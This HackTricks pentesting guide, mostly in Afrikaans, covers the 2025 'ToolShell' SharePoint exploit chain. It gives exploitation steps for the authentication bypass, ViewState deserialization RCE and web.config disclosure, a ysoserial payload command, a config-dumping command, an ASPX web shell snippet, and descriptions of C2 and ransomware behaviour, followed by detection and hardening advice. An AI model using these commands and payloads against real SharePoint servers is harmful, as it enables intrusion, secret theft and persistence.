Microsoft SharePoint – Pentesting & Exploitation

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Microsoft SharePoint (on-premises) is gebou op ASP.NET/IIS. Die meeste van die klassieke web-aanvaloppervlak (ViewState, Web.Config, web shells, ens.) is dus teenwoordig, maar SharePoint verskaf ook honderde eie ASPX-bladsye en webdienste wat die blootgestelde aanvaloppervlak dramaties vergroot. Hierdie bladsy versamel praktiese truuks om te enumerate, te benut en volhard in SharePoint-omgewings met klem op die 2025-uitbuitingsketting wat deur Unit42 bekend gemaak is (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit ketting (ook bekend as “ToolShell”)

2.1 CVE-2025-49704 – Kode-inspuiting op ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> laat willekeurige Server-Side Include kode toe om in die bladsy ingespuit te word wat later deur ASP.NET gecompileer word. ’n Aanvaller kan C# insluit wat Process.Start() uitvoer en ’n kwaadwillige ViewState laat val.

2.2 CVE-2025-49706 – Onbehoorlike Verifikasie Omseiling

Dieselfde bladsy vertrou die X-Forms_BaseUrl kop om die webwerf konteks te bepaal. Deur dit na /_layouts/15/ te wys, kan MFA/SSO wat by die wortelwebwerf afgedwing word, sonder verifikasie omseil word.

2.3 CVE-2025-53770 – Onverifieerde ViewState Deserialisering → RCE

Sodra die aanvaller ’n gadget in ToolPane.aspx beheer, kan hulle ’n ongetekende (of MAC-slegs) __VIEWSTATE waarde plaas wat .NET deserialisering binne w3wp.exe aktiveer wat lei tot kode-uitvoering.

As ondertekening geaktiveer is, steel die ValidationKey/DecryptionKey van enige web.config (sien 2.4) en vervals die payload met ysoserial.net of ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Vir ’n diepgaande verduideliking oor die misbruik van ASP.NET ViewState, lees:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Pad Traversal / web.config Ontsluiting

Deur ’n vervaardigde Source parameter na ToolPane.aspx te stuur (bv. ../../../../web.config), word die geteikende lêer teruggestuur, wat die lekkasie van die volgende toelaat:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ vervals ViewState / ASPXAUTH koekies
  • verbindingstrings & geheime.

3. Post-exploitatie resepte waargeneem in die natuur

3.1 Exfiltreer elke .config lêer (variasie-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Die resulterende debug_dev.js kan anoniem afgelaai word en bevat alle sensitiewe konfigurasie.

3.2 Ontplooi ’n Base64-gecodeerde ASPX web shell (variasie-2)

powershell.exe -EncodedCommand <base64>

Gedekodeerde payload voorbeeld (verkort):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Geschryf vir:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

Die skulp bied eindpunte om te lees / draai masjien sleutels wat die vervalsing van ViewState en ASPXAUTH koekies oor die plaas moontlik maak.

3.3 Obfuscated variasie (variasie-3)

Dieselfde skulp maar:

  • gelaat onder ...\15\TEMPLATE\LAYOUTS\
  • veranderlike name verminder tot enkele letters
  • Thread.Sleep(<ms>) bygevoeg vir sandbox-ontvlugting & tyd-gebaseerde AV omseiling.

3.4 AK47C2 multi-protokol agterdeur & X2ANYLOCK ransomware (waargeneem 2025-2026)

Onlangse insident-respons ondersoeke (Unit42 “Project AK47”) toon hoe aanvallers die ToolShell ketting na aanvanklike RCE benut om ’n dubbel-kanaal C2 implantaat en ransomware in SharePoint omgewings te ontplooi:

AK47C2 – dnsclient variasie

  • Hard-gecodeerde DNS bediener: 10.7.66.10 wat kommunikeer met die gesaghebbende domein update.updatemicfosoft.com.
  • Boodskappe is JSON-objekte XOR-geënkripteer met die statiese sleutel VHBD@H, hex-gekodeer en ingebed as sub-domein etikette.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Lang navrae word in stukke verdeel en met s voorafgegaan, dan weer saamgestel aan die bediener-kant.
  • Bediener antwoord in TXT rekords wat dieselfde XOR/hex skema dra:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Weergawe 202504 het ’n vereenvoudigde formaat <COMMAND>::<SESSION_KEY> en stuk merkers 1, 2, a bekendgestel.

AK47C2 – httpclient variasie

  • Hergebruik die presies dieselfde JSON & XOR roetine maar stuur die hex blob in die HTTP POST liggaam via libcurl (CURLOPT_POSTFIELDS, ens.).
  • Dieselfde taak/resultaat werkvloei wat toelaat:
  • Arbitraire skulp opdrag uitvoering.
  • Dinamiese slaap interval en kill-switch instruksies.

X2ANYLOCK ransomware

  • 64-bit C++ payload gelaai deur DLL kant-laai (sien hieronder).
  • Gebruik AES-CBC vir lêer data + RSA-2048 om die AES sleutel te verpak, dan voeg die uitbreiding .x2anylock by.
  • Herhaaldelik plaaslike skywe en ontdekte SMB deeljies enkripteer; slaat stelselpaaie oor.
  • Laat ’n duidelike teksnota How to decrypt my data.txt agter wat ’n statiese Tox ID vir onderhandelinge insluit.
  • Bevat ’n interne kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);

DLL kant-laai ketting

  1. Aanvaller skryf dllhijacked.dll/My7zdllhijacked.dll langs ’n wettige 7z.exe.
  2. SharePoint-geboorte w3wp.exe begin 7z.exe, wat die kwaadwillige DLL laai as gevolg van Windows soekorde, wat die ransomware ingangspunt in geheue aanroep.
  3. ’n Afsonderlike LockBit laaier waargeneem (bbb.msiclink_x86.execlink_dll_x86.dll) dekripteer skulp-kode en voer DLL holing in d3dl1.dll uit om LockBit 3.0 te laat loop.

[!INFO] Dieselfde statiese Tox ID wat in X2ANYLOCK gevind is, verskyn in gelekte LockBit databasisse, wat ’n ooreenkoms tussen vennote voorstel.


4. Opsporing idees

TelemetrieWaarom dit verdag is
w3wp.exe → cmd.exeWerknemer proses behoort selde ’n skulp te genereer
cmd.exe → powershell.exe -EncodedCommandKlassieke lolbin patroon
Lêer gebeurtenisse wat debug_dev.js of spinstall0.aspx skepIOCs regstreeks van ToolShell
ProcessCmdLine BEVAT ToolPane.aspx (ETW/Module logs)Publieke PoCs roep hierdie bladsy aan

Voorbeeld XDR / Sysmon reël (pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Versterking & Versagting

  1. Patch – Julie 2025 sekuriteitsopdaterings herstel alle vier CVE’s.
  2. Draai elke <machineKey> en ViewState geheime na ’n kompromie.
  3. Verwyder LAYOUTS skrywe toestemming van WSS_WPG & WSS_ADMIN_WPG groepe.
  4. Blokkeer eksterne toegang tot /_layouts/15/ToolPane.aspx op proxy/WAF vlak.
  5. Aktiveer ViewStateUserKey, MAC geaktiveer, en pasgemaakte EventValidation.

Verwante truuks

  • IIS post-exploitatie & web.config misbruik:

IIS - Internet Information Services

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks